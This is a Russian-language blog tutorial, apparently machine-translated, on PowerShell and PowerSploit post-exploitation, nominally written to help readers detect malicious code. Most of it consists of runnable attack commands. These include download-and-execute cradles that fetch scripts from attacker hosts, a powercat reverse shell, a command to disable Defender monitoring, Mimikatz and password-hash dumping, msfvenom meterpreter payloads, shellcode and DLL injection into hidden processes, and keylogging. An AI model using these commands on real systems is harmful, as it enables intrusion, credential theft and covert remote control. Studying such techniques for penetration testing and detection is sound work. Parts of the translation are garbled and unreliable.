[Системная безопасность] 42. Серия Powershell по обнаружению вредоносного кода (3) Подробное объяснение проникновения скрипта PowerSploit.
[Системная безопасность] 42. Серия Powershell по обнаружению вредоносного кода (3) Подробное объяснение проникновения скрипта PowerSploit.

В этой серии статей систематически и углубленно изучается безопасность системы, обратный анализ и обнаружение вредоносного кода. Статьи будут более целенаправленными, более систематическими и более глубокими. Это также история медленного роста автора. Долгий путь ведет к горе Хушань. Наслаждайтесь процессом и усердно работайте вместе~

Если вы хотите лучше обнаруживать вредоносные скрипты, вам необходимо сначала понять их основные функции и принципы. В предыдущей статье были представлены базовые вводные знания о Powershell, включая условные операторы, операторы цикла, массивы, функции, строковые операции, доступ к реестру и т. д. В этой статье будут подробно описаны атаки с использованием сценариев PowerShell и PowerSploit, а также объединено использование уязвимостей MSF для реализации атак с использованием сценариев. Я надеюсь, что эта статья будет полезна для вас, и я надеюсь, что она поможет большему количеству новичков в области безопасности или красно-синей конфронтации. Пожалуйста, прочитайте ее и дорожите ею. Эта статья ссылается на «Практическое руководство по тестированию на проникновение в систему веб-безопасности и защите» г-на Сюй Яня и блог Се Гунцзы и обобщает их на основе предыдущих блогов и опыта автора.

Будучи новичком в области сетевой безопасности, автор делится со всеми базовыми руководствами для самостоятельного изучения. Надеюсь, они вам понравятся. В то же время у этих больших парней действительно стоит поучиться, и я хотел бы предложить бой на коленях моему младшему брату~!

  • Только более глубокое понимание основ и использования PowerShell позволяет нам лучше обнаруживать вредоносный код.

Каталог статей:

  • 1. Подробное объяснение атаки Powershell. 1.Введение в PowerShell 2.Основные понятия PowerShell. 3. Общие команды PowerShell и их выполнение в обход разрешений 4. PowerShell удаленно загружает файлы и выполняет их. 5. Общие команды для тестирования на проникновение PowerShell 6. Файл импорта PowerShell.
  • 2. Подробное объяснение атаки PowerSploit. 1. Установка PowerSploit 2. Оболочка отскока MSF 3.Код выполнения Invoke-Shellcode 4.Invoke-Portscan порт сканирования 5.Invoke-Mimikatz 6.Invoke-DllInjection 7.Get-Keystrokes 8. Классификация и функции сценариев.
  • 3. Резюме

Ресурсы автора на github:

  • Обратный анализ: https://github.com/eastmountyxz/ SystemSecurity-ReverseAnaанализ
  • Кибербезопасность: https://github.com/eastmountyxz/ Сеть Безопасность Самообучение

Будучи новичком в области сетевой безопасности, автор делится со всеми базовыми руководствами для самостоятельного обучения, в основном онлайн-заметками об инструментах безопасности и практических операциях. Надеюсь, вам это понравится. В то же время я надеюсь, что вы сможете работать и добиваться прогресса вместе со мной. В будущем я узнаю больше о сетевой безопасности и безопасности системы и поделюсь соответствующими экспериментами. Короче говоря, надеюсь, эта серия статей будет полезна блоггерам. Написание статей – дело непростое. Если мастерам это не нравится, прошу не комментировать. Спасибо! Если статья окажется для вас полезной, это будет самой большой мотивацией для моего творчества. Ставьте лайк, оставляйте комментарии или пишите мне в личные сообщения. Давайте работать вместе!

Заявление: Я решительно выступаю против использования методов обучения для совершения преступлений. Все преступные деяния будут строго наказываться. Зеленые сети необходимо поддерживать вместе. Я также рекомендую всем понимать лежащие в их основе принципы и лучше их защищать. (см. ссылки ниже)


1. Подробное объяснение атаки Powershell.

В тестировании на проникновение Powershell является связующим звеном, которое нельзя игнорировать, и он все еще постоянно обновляется и развивается. Он обладает хорошей гибкостью и возможностью функционального управления системами Windows. Как только злоумышленник сможет запустить код на компьютере, файл сценария PowerShell (.ps1) будет загружен на диск для выполнения. Его можно будет запустить непосредственно в памяти, даже не записывая на диск для выполнения.

Эти характеристики делают PowerShell предпочтительным методом атаки для злоумышленников при получении и сохранении доступа к системе. Используя многие характеристики PowerShell, злоумышленники могут продолжать атаки, не будучи легко обнаруженными. К наиболее часто используемым инструментам атаки PowerShell относятся следующие.

  • PowerSploit — это широко используемая среда пост-эксплуатации PowerShell среди многих инструментов атак PowerShell. Она часто используется для обнаружения информации, повышения привилегий, кражи учетных данных, сохранения и других операций.
  • Nishang — это специальный инструмент для тестирования на проникновение, основанный на PowerShell, который объединяет платформы, скрипты и различные полезные нагрузки, включая загрузку и выполнение, кейлоггинг, DNS, команду задержки и другие скрипты.
  • Empire — это троян удаленного управления на базе PowerShell, который может экспортировать и отслеживать учетные данные из базы данных учетных данных. Он часто используется для предоставления интегрированных модулей для раннего использования уязвимостей, обнаружения информации, кражи учетных данных и контроля устойчивости.
  • PowerCatPowerShell-версия NetCat известна как «швейцарский армейский нож» среди сетевых инструментов. Она может читать и записывать данные в сети через TCP и UDP. Читатели могут использовать его по-разному в своих сценариях, комбинируя его с другими инструментами и перенаправляя.

1.Введение в PowerShell

Windows PowerShell — это оболочка командной строки и среда сценариев, встроенная в Windows 7 и более поздние версии, позволяющая пользователям командной строки и авторам сценариев воспользоваться преимуществами .NET Framework. В нем представлено множество новых полезных концепций, которые еще больше расширяют получаемые вами знания и сценарии, которые вы создаете в средах командной строки Windows и Windows Script Host.

Версии PowerShell для каждой операционной системы Windows следующие:

Как только злоумышленник запустит код на компьютере, он загрузит файл сценария PowerShell (.ps1) на диск для выполнения. Ему даже не нужно записывать его на диск для выполнения. Он может запустить его прямо в памяти (без файла). атаку), или они могут думать о PowerShell как о расширении командной строки cmd.exe.

В 64-битных операционных системах Windows существуют две версии PowerShell: x64 и x86. Стратегии выполнения этих двух версий не влияют друг на друга и могут рассматриваться как две независимые программы. Файл конфигурации версии x64 находится по следующему пути. PowerShell состоит из двух компонентов приложения: стандартной текстовой консоли (powershell.exe) и графического интерфейса интегрированной командной среды (ISE: powershell_ise.exe).

  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0

Традиционный CMD поддерживает сценарии, но его масштабируемость не очень хороша, в то время как Powershell похож на оболочку Linux и имеет преимущества лучшей удаленной обработки, рабочего процесса, обновляемой справки, запланированных задач (запланированное задание), CIM и других преимуществ.

(1) Во-первых, как войти в Powershell? Один из способов — напрямую войти в Powershell, чтобы открыть его во время работы, а другой — войти в Powershell, чтобы открыть его в CMD.

Встроенный Powershell в разных операционных системах различен, например, win7 или win2008.

(2) Во-вторых, как проверить версию? Первая команда выглядит следующим образом:

Язык кода:javascript
копировать
Get-Host

Результат такой, как показано ниже:

Другая команда:

Язык кода:javascript
копировать
$psversiontable

В то же время Powershell может получить сведения об обслуживании, статусе и т. д. компьютера.

Язык кода:javascript
копировать
get-service

Результат отображения такой, как показано на рисунке ниже, с использованием метода именования глагол + существительное, который относительно ясен.

(3) Кратко суммируйте преимущества PowerShell. PowerShell требует поддержки среды .NET и поддерживает объекты .NET. Его читабельность и простота использования занимают первое место среди всех существующих оболочек. Эти возможности PowerShell привлекают злоумышленников, благодаря чему он постепенно становится очень популярным и мощным инструментом атак. Поскольку Powershell обладает следующими характеристиками, он широко используется в области безопасности и даже стал технологией, которую должен освоить каждый веб-безопасник. Общие преимущества включают в себя:

  • Устанавливается по умолчанию в операционных системах Windows 7 и выше.
  • Скрипты PowerShell могут выполняться в памяти без записи на диск.
  • Скрипты PowerShell можно загрузить из другой системы и выполнить.
  • Многие инструменты в настоящее время разрабатываются на основе PowerShell.
  • Многие программы обеспечения безопасности не могут обнаружить взаимодействия PowerShell.
  • cmd.exe обычно блокируется, но PowerShell — нет.
  • Может использоваться для управления активным каталогом
  • Поддержка объектно-ориентированного подхода и взаимодействие с платформой .net.
  • Сильная совместимость, вызов друг друга с помощью cmd и vbs.
  • Хорошая масштабируемость. использоваться для управления активным каталогом, продуктами виртуальных машин и другими платформами

2.Основные понятия PowerShell.

(1) файл PS1 Сценарий PowerShell на самом деле представляет собой простой текстовый файл. Этот файл содержит ряд команд PowerShell. Каждая команда отображается как независимая строка. Чтобы текстовый файл считался сценарием PowerShell, его имя должно иметь расширение .PS1. . имя.

(2) стратегия исполнения Чтобы предотвратить выполнение вредоносных скриптов, в PowerShell есть стратегия по умолчанию выполняет эту стратегию Форма устанавливается первой. Если сценарий PowerShell не может быть выполнен, вы можете использовать следующее Get-ExecutionPolicy Команда для определения текущей стратегии исполнение. Он включает в себя 4 стратегии:

  • Ограничено: сценарий невозможно запустить (настройка по умолчанию).
  • RemoteSigned: сценарии, созданные локально, могут выполняться, но сценарии, загруженные из Интернета, не могут выполняться (кроме случаев, когда они подписаны цифровым сертификатом).
  • AllSigned: сценарий можно запустить только в том случае, если он подписан доверенным издателем.
  • Неограниченно: разрешить запуск всех сценариев.

Мы также можем настроить стратегию работы PowerShell, используя приведенную ниже команду командлета.

  • Set-ExecutionPolicy [имя политики] имя политики

(3) Запустить сценарий Чтобы запустить сценарий PowerShell, необходимо ввести полный путь и имя файла. Например, если вы хотите запустить сценарий с именем a.ps1, введите C:\Scripts\a.ps1. Самым большим исключением является то, что если файл сценария PowerShell находится в системном каталоге, вы можете запустить имя файла сценария, введя непосредственно в командной строке, например .\a.ps1 с ".\" перед это то же самое, что добавить ".\" перед .\a.ps1. Метод запуска сценария Shell в Linux тот же.

(4) Трубопровод Функция конвейера PowerShell заключается в использовании выходных данных одной команды в качестве входных данных для другой команды, и эти две команды соединяются символом вертикальной черты (|). В качестве примера, чтобы увидеть, как работают каналы, предположим, что вы остановили все запущенные в данный момент программы, имена которых начинаются с символа «p». Команда выглядит следующим образом:

  • get-process p* | stop-process

Каналы — не новая вещь. В предыдущей консоли Cmd также были команды перенаправления, такие как Dir | More, которые могут отображать результаты на разделенном экране. Традиционные конвейеры Cmd основаны на тексте, а конвейеры Powershell — на объектной основе. Например:

Язык кода:javascript
копировать
linux:ls
cmd:dir

Если вы хотите получить только значения имени и режима, используйте следующие инструкции.

Язык кода:javascript
копировать
ls | format-table name, mode

3. Общие команды PowerShell и их выполнение в обход разрешений

В PowerShell команды, подобные «cmd», называются «командлетами», и соглашения об их именах вполне согласованы. Все они принимают форму «глагол-существительное», например «Новый-элемент». Часть глагола обычно выглядит как «Добавить», «Новый», «Новый». Именованные псевдонимы Get, Remove, Set и т. д. обычно совместимы с командами Windows и оболочкой Linux. Например, команда Get-ChildItem может использовать dir или ls, а команды PowerShell не чувствительны к регистру.

Ниже в качестве примера используются файловые операции, объясняющие базовое использование команд PowerShell.

  • Создайте новый каталог: New-Item whitecellclub-ItemType Directory.
  • Создайте новый файл: New-Item Light.txt-ItemType File.
  • Удалить каталог: Remove-Item whitecellclub
  • Отображение содержимого файла: Get-Content test.txt
  • Установите содержимое файла: Set-Content test.txt-Value «hello, world!»
  • Добавлен контент: Add-Contentlight.txt-Значение «я люблю тебя»
  • Очистить содержимое: Clear-Content test.txt.

Приведите простой пример:

Язык кода:javascript
копировать
New-Item test -ItemType directory
Remove-Item test
New-Item eastmount.txt -ItemType file -value "hello csdn"  

Get-Content eastmount.txt
Add-Content eastmount.txt -Value " bye!"
Get-Content eastmount.txt 

Set-Content eastmount.txt -Value "haha"
Get-Content eastmount.txt
Clear-Content eastmount.txt
Get-Content eastmount.txt
Remove-Item eastmount.txt
Get-Content eastmount.txt

Аналогичным образом мы также можем ввести «PowerShell» через приглашение терминала Windows, чтобы войти в командную строку PowerShell, и ввести команду справки, чтобы отобразить меню справки.

После тестирования скрипт PowerShell, загруженный в процессе выполнения окна cmd, может быть запущен напрямую независимо от текущей политики. Если вы хотите запустить программу-скрипт в окне PowerShell, у вас должны быть права администратора, чтобы изменить политику «Ограниченно» на «Неограниченно». Поэтому при проникновении вам необходимо использовать некоторые методы обхода политики для выполнения сценария.

(1) Загрузите удаленный сценарий PowerShell, чтобы обойти выполнение разрешений. Вызовите функцию DownloadString, чтобы загрузить удаленный файл сценария PS1.

Язык кода:javascript
копировать
//окно cmd выполняет следующие команды
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

//Выполнить в окне PowerShell
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

На рисунке ниже цитируется изображение г-на Се. Для запуска переключитесь в окно CMD.

(2) Обход выполнения локального разрешения Загрузите xxx.ps1 на целевой сервер и выполните сценарий локально на целевом сервере в среде CMD, как показано ниже.

Язык кода:javascript
копировать
PowerShell.exe -ExcutionPolicy Bypass -File xxx.ps1

powershell -exec bypass  .\test.ps1

(3) Сценарий выполнения локального скрытого обхода разрешений

Язык кода:javascript
копировать
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo
-NonInteractive -NoProfile -File xxx.ps1

Например:

  • powershell.exe -exec bypass -W hidden -nop test.ps1

(4) Используйте IEX для загрузки удаленных сценариев PS1, чтобы обойти выполнение разрешений.

Язык кода:javascript
копировать
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile
-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

Параметры вышеуказанной команды объяснены ниже, как показано ниже.

  • Обход ExecutionPolicy: Обход политики безопасности выполнения. Этот параметр очень важен. По умолчанию политика безопасности PowerShell предусматривает, что PowerShell не разрешено запускать команды и файлы. Установив этот параметр, можно обойти любое правило защиты безопасности. При тестировании на проникновение этот параметр используется практически каждый раз при запуске сценария PowerShell.
  • WindowStyle Hidden: скрыть окно.
  • NoLogo: запуск PowerShell без отображения логотипа авторских прав.
  • NonInteractive (-NonI): неинтерактивный режим, PowerShell не предоставляет интерактивные подсказки для пользователей.
  • NoProfile (-NoP): консоль PowerShell не загружает профиль текущего пользователя.
  • Noexit: не выходить из оболочки после выполнения, что очень важно при использовании таких сценариев, как кейлоггинг.

Опять же, сценарии PowerShell по умолчанию не могут выполняться напрямую. Вы можете использовать описанный выше метод, чтобы обойти политику безопасности и запустить сценарий PowerShell, как показано на рисунке ниже.

Язык кода:javascript
копировать
PowerShell.exe -ExecutionPolicy Bypass -File .\test.ps1 

путем увеличения -ExecutionPolicy Bypass Реализуйте политику обхода безопасности и запустите выходные результаты.

Локально мы видим файл test.ps1.


4. PowerShell удаленно загружает файлы и выполняет их.

В этой части я узнал из резюме г-на Се Гунцзы. Конечно, во второй части я подробно представил использование сочетания с проникновением.

Файл загрузки окна CMD В каталог диска С можно загрузить только права администратора, а на диск С обычные права загрузить нельзя.

Язык кода:javascript
копировать
//Скачиваем файл в указанную директорию
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
 
//Загружаем файл в текущий каталог
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');

Окно CMD загружает файл и запускает exe.

Язык кода:javascript
копировать
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe

Окно CMD загружает файлы и выполняет сценарии PS1

Язык кода:javascript
копировать
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

Загрузите скрипт powercat.ps1 удаленно,И запустить с параметрами,Эта команда может обойти стратегию исполнения PowerShell.

Язык кода:javascript
копировать
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

5. Общие команды для тестирования на проникновение PowerShell

Отключите брандмауэр Защитника, поставляемый с Windows (требуются права администратора).

Язык кода:javascript
копировать
powershell Set-MpPreference -disablerealtimeMonitoring $true

Выполните в окне CMD, чтобы загрузить test.exe с удаленного хоста на локальный.

Язык кода:javascript
копировать
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');

Используйте PowerShell для восстановления оболочки NC в окне CMD.

Язык кода:javascript
копировать
//Выполнить в окне cmd
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

//Выполнить в окне PowerShell
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

Используйте PowerShell, чтобы переместить CobaltStrike Shell под окно CMD.

Язык кода:javascript
копировать
//Выполнить в окне cmd
powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))  

//Выполнить в окне PowerShell
IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))

Используйте PowerShell для повторного подключения оболочки MSF в окне CMD.

Язык кода:javascript
копировать
//Выполнить в окне cmd
powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1

//Выполнить в окне PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1

Удаленно загрузите сценарий PowerShell для чтения паролей в виде открытого текста (требуются права администратора).

Язык кода:javascript
копировать
//Выполнить в окне cmd
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

//Выполнить в окне PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

Удаленно загрузите сценарий PowerShell, чтобы прочитать хеш-значение пароля в виде обычного текста (требуются права администратора).

Язык кода:javascript
копировать
//Выполнить в окне cmd
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

//Выполнить в окне PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

6. Файл импорта PowerShell.

В большие проекты PowerShell обычно включаются файлы суффиксов .ps1, .psd1 и .psm1. Например, Powersploit.

  • Текст сценария PowerShell файла .ps1
  • Файл .psd1, вводный файл модуля
  • Файл модуля .psm1

Среди них файлы psm1 и psd1 можно импортировать с помощью следующих команд.

Язык кода:javascript
копировать
 Import-Module .\PowerSploit.psm1
 Import-Module .\PowerSploit.psd1

Команда ввода модуля импорта:

  • Get-Command -Module PowerSploit

Для файлов .ps1 вы можете использовать Import-Module или .

Язык кода:javascript
копировать
Import-Module .\Get-Information.ps1
. .\Get-Information.ps1

2. Подробное объяснение атаки PowerSploit.

PowerSploit — это программное обеспечение для пост-эксплуатации, основанное на PowerShell. Оно содержит множество сценариев атак PowerShell, которые в основном используются для сбора информации, повышения привилегий и поддержания привилегий во время проникновения. В функции каждого модуля PowerSploit входят:

  • AntivirusBypass: узнайте о убийственных характеристиках антивирусного программного обеспечения.
  • CodeExecution: выполнить код на целевом хосте.
  • Эксфильтрация: инструмент сбора информации на целевом хосте.
  • Mayhem: Синий экран и другие деструктивные скрипты
  • Persistence: бэкдор-скрипт (контроль постоянства)
  • Разведка: используйте целевой хост в качестве трамплина для проведения разведки информации в интрасети.
  • ScriptModification: создание или изменение сценариев на целевом хосте.

Его адрес GitHub:

  • https://github.com/PowerShellMafia/PowerSploit

1. Установка PowerSploit

Первый шаг — загрузить ресурсы PowerSploit. Мы можем использовать команду git для загрузки программы в Kali.

  • git clone https://github.com/PowerShellMafia/PowerSploit

Если ошибка загрузки — «git Fatal: невозможно получить доступ к проверке сертификата сервера, не удалось. CAfile: none CRLfile: none», читатели могут загрузить его непосредственно с github и переместить в указанный Kali каталог.

Второй шаг — разархивировать файл.

  • unzip PowerSploit-master.zip

Распакованный файл выглядит следующим образом:

Третий шаг — переместить распакованную папку в каталог /var/www/html, а затем собрать простой сервер.

  • mv PowerSploit-master /var/www/html

Четвертый шаг — запуск сервера Apache.

  • service apache2 start

Доступ к нему с использованием IP-адреса в локальном браузере подтверждает результаты настроек нашего сервера Apache.


2. Оболочка отскока MSF

Далее используем в Кали reverse_httpsмодуль подпрыгиваетshell。

Первый шаг — открыть msfconsole.

  • msfconsole

Второй шаг — настроить модуль windows/x64/meterpreter/reverse_https в msf для восстановления и включения мониторинга.

  • используйте эксплойт/мульти/обработчик, чтобы использовать модуль прослушивания
  • установить полезную нагрузку windows/x64/meterpreter/reverse_tcp — полезная нагрузка
  • set LHOST 192.168.44.138 устанавливает локальный IP-адрес
  • set RPORT 4444 устанавливает локальный порт 4444
  • показать параметры для просмотра информации о конфигурации мониторинга

Тогда операция находится в состоянии прослушивания.

  • run
  • exploit

3.Код выполнения Invoke-Shellcode

Сценарий Invoke-Shellcode в модуле CodeExecution часто используется для вставки Shellcode в указанный идентификатор процесса или локальный PowerShell. Ниже представлены два распространенных метода повторного подключения Meterpreter Shell.

Первый метод: напрямую выполнить шеллкод для восстановления оболочки Meterpreter.

Первым шагом является использование MSF для мониторинга с использованием предыдущих шагов.

Язык кода:javascript
копировать
msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://192.168.59.128:4444

Второй шаг — использовать команду msfvenom для создания трояна-скрипта powershell.

  • msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138 LPORT=4444 -f powershell -o /var/www/test

Сгенерированный скрипт находится в каталоге /var/www/html, а его код показан ниже:

Третий шаг — ввести следующую команду в Powershell целевого компьютера, чтобы загрузить скрипт.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1”)

Распространенные решения ошибок Первая ошибка – это сообщение «Заблокировано антивирусным ПО».

На этом этапе нам нужно настроить проблему перехвата брандмауэра и разрешить запуск PowerShell.

Если он все же перехватывается, для запуска PowerSploit могут потребоваться права администратора. Способ настройки следующий:

Четвертый шаг — ввести следующую команду для загрузки трояна.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/test”)

Шаг 5: Запустите следующую команду. -Force означает прямое выполнение без запроса.

  • Invoke-Shellcode -Shellcode ($buf) -Force

Само собой разумеется, что после завершения этого шага, когда вы вернетесь к интерфейсу мониторинга MSF, вы обнаружите, что восстановление прошло успешно. Однако мой Powershell сообщит об ошибке или сбое после запуска команды. является экологической проблемой.

Правильный результат бега показан на рисунке ниже:


Второй метод: укажите процесс внедрения шеллкода для восстановления Meterpreter Shell.

Первым шагом является также ввод команды в Powershell целевой машины для загрузки сценария и трояна.

Язык кода:javascript
копировать
IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/test")

На втором этапе введите команду Get-Process или команду ps, чтобы просмотреть текущий процесс.

  • Get-Process

Третий шаг — ввести команду для создания нового процесса и сделать его скрытым.

  • Start-Process C:\windows\system32\notepad.exe -WindowStyle Hidden
  • Get-Process

Четвертый шаг — ввести команду Get-Process для просмотра процесса. Вы можете видеть, что существует дополнительный процесс с именем «Блокнот» с идентификатором 2580.

Пятый шаг — использование сценария Invoke-Shellcode для внедрения процесса.

  • Invoke-Shellcode -ProcessID 2580 -Shellcode ($buf) -Force

4.Invoke-Portscan порт сканирования

nvoke-Portscan — это скрипт модуля Recon. Он в основном используется для сканирования портов и относительно прост в использовании. Как его использовать, заключается в следующем.

Первый шаг — загрузить скрипт, а затем отсканировать его.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Recon/Invoke-Portscan.ps1”)

На втором этапе используйте следующую команду для сканирования порта.

  • Invoke-Portscan -Hosts 192.168.44.1,192.168.44.138 -Ports “80,22,445,3389”

Было обнаружено, что 1 открыл порты 445 и 3389, а 138 открыл порт 80.


5.Invoke-Mimikatz

Invoke-Mimikatz — это скрипт модуля «Эксфильтрация».

Первый шаг — скачать скрипт.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1”)

Второй шаг — выполнить команду для использования атаки Mimikatz, инструмента для захвата паролей.

  • Invoke-Mimikatz -DumpCreds
Язык кода:javascript
копировать
PS C:\> Invoke-Mimikatz -DumpCreds

  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)  #reporterror

mimikatz(powershell) # exit
Bye!

PS C:\>

6.Invoke-DllInjection

Затем используйте другой сценарий Invoke-DllInjection в модуле CodeExecution, который представляет собой сценарий внедрения DLL.

Первым шагом является настройка мониторинга в MSF и использование следующей команды для создания трояна с отскоком dll в Kali.

  • msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138 LPORT=4444 -f dll -o /var/www/html/test.dll

Сгенерированный файл внедрения test.dll показан ниже:

Второй шаг — загрузить сценарий на целевой компьютер и ввести следующую команду.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1”)

Третий шаг — запустить новый процесс и использовать сценарий Invoke-Shellcode для внедрения процесса.

  • Start-Process C:\windows\system32\notepad.exe -WindowStyle Hidden
  • Get-Process
  • get-process notepad

Четвертый шаг — внедрить следующую команду.

  • Invoke-DllInjection -ProcessID 2580 -Dll c:\test.dll

Однако восстановление MSF так и не удалось.


7.Get-Keystrokes

Get-Keystrokes — это скрипт в модуле «Эксфильтрация». Он используется для ведения кейлогинга. Он имеет очень мощную функцию. Он не только записывает ввод с клавиатуры, но также может записывать щелчки мыши и подробное время. Его можно запускать непосредственно в фоновом режиме. настоящий бой. Как его использовать, заключается в следующем.

Первый шаг — скачать скрипт.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1”)

Вторым шагом является команда на включение кейлоггера.

  • Get-Keystrokes -Logpath c:\test1.txt

Третий шаг — сохранить соответствующую информацию.


8. Классификация и функции сценариев.

AntivirusBypass (обход антивируса)

  • Найти-AVSignature Найдена сигнатура антивируса

CodeExecution (выполнение кода)

  • Invoke-DllInjection.ps1 Сценарий внедрения DLL. Обратите внимание, что архитектура DLL должна соответствовать целевому процессу и иметь соответствующие разрешения.
  • Invoke-ReflectivePEInjection.ps1 Рефлексивное внедрение. Рефлексивно загружает файлы Windows PE (DLL/EXE) в процесс PowerShell или рефлексивно внедряет библиотеки DLL в удаленные процессы.
  • Вызвать-Shellcode.ps1 Вставьте шеллкод в выбранный вами идентификатор процесса или в локальный PowerShell.
  • Вызвать-WmiCommand.ps1 Используйте wmi для выполнения команды на целевом хосте

Эксфильтрация (сбор информации): в основном собирает информацию о целевом хосте.

  • Out-Minidump.ps1 Создайте небольшую базу данных, занимающую всю память для процесса.
  • Get-VaultCredential.ps1 Отображать объекты учетных данных с логотипом Windows, включая веб-учетные данные в виде открытого текста.
  • Get-Keystrokes.ps1 Записывайте нажатия клавиш, время и активные окна
  • Get-GPPPassword.ps1 Получайте пароли в виде открытого текста и другую информацию для учетных записей, переданных через настройки групповой политики.
  • Get-GPPAutologon.ps1 При нажатии через настройки групповой политики извлеките имя пользователя и пароль для автоматического входа из файла реестра.xml.
  • Get-TimedScreenshot.ps1 Это функция, которая делает снимки экрана через определенные промежутки времени и сохраняет их в папке.
  • Вызвать-Mimikatz.ps1 Посмотреть пароль хоста
  • Invoke-NinjaCopy.ps1 Файлы из секционированных томов NTFS путем чтения необработанного тома и анализа структуры NTFS.
  • Invoke-CredentialInjection.ps1 Создайте вход с использованием открытых текстовых учетных данных, не вызывая подозрительного события с кодом 4648 (вход с явными учетными данными).
  • Invoke-TokenManipulation.ps1 Список доступных токенов входа. Создайте токен входа в процесс с другим пользователем и олицетворяйте токен входа в текущий поток.
  • Get-MicrophoneAudio.ps1 Запись звука через микрофон
  • VolumeShadowCopyTools.ps1

Recon (информационная разведка): эта папка в основном используется для разведки узла интрасети с использованием целевого узла в качестве трамплина.

  • Вызвать-Portscan.ps1 сканирование портов
  • Get-HttpStatus.ps1 Возвращает код состояния HTTP и полный URL-адрес указанного пути, а также файл словаря.
  • Invoke-ReverseDnsLookup.ps1 Сканировать диапазоны IP-адресов на наличие записей DNS PTR.
  • PowerView.ps1 PowerView — это набор функций, которые выполняют перечисление и эксплуатацию сетей и доменов Windows.
  • Get-ComputerDetails Получить данные для входа

ScriptModification (модификация скрипта)

  • Out-EncodedCommand.ps1 Закодируйте сценарий или блок кода и сгенерируйте выходные данные командной строки для сценария полезной нагрузки PowerShell.
  • Out-EncryptedScript.ps1 Зашифрованные текстовые файлы/скрипты
  • Out-CompressedDll.ps1 Сжатие, кодирование Base-64 и вывод сгенерированного кода для загрузки управляемой DLL в память.
  • Удалить-Комментарии.ps1 Удалите комментарии и лишние пробелы из скриптов.

Постоянство (сохранение разрешений)

  • New-UserPersistenceOption Настройте параметры сохранения на уровне пользователя для функции добавления сохранения.
  • New-ElevatedPersistenceOption Настройте повышенные параметры сохранения для функции добавления сохранения.
  • Добавить-постоянство Добавьте функциональность персистентности в скрипты
  • Установка-SSP Установите dll поставщика поддержки безопасности (ssp)
  • Get-SecurityPackages

Privesc (повышение привилегий)

  • PowerUP Информационный центр для общих проверок повышения привилегий, а также некоторых векторов вооружения
  • Get-System

Mayhem

  • Set-MasterBootRecord Выбранные сообщения перезаписывают основную загрузочную запись.
  • Set-CriticalProcess Сделать синий экран системы при выходе из PowerShell

3. Резюме

На этом введение этой статьи закончено. Надеюсь, она будет вам полезна, продолжайте в том же духе~.

  • 1. Подробное объяснение атаки Powershell. 1.Введение в PowerShell 2.Основные понятия PowerShell. 3. Общие команды PowerShell и их выполнение в обход разрешений 4. PowerShell удаленно загружает файлы и выполняет их. 5. Общие команды для тестирования на проникновение PowerShell 6. Файл импорта PowerShell.
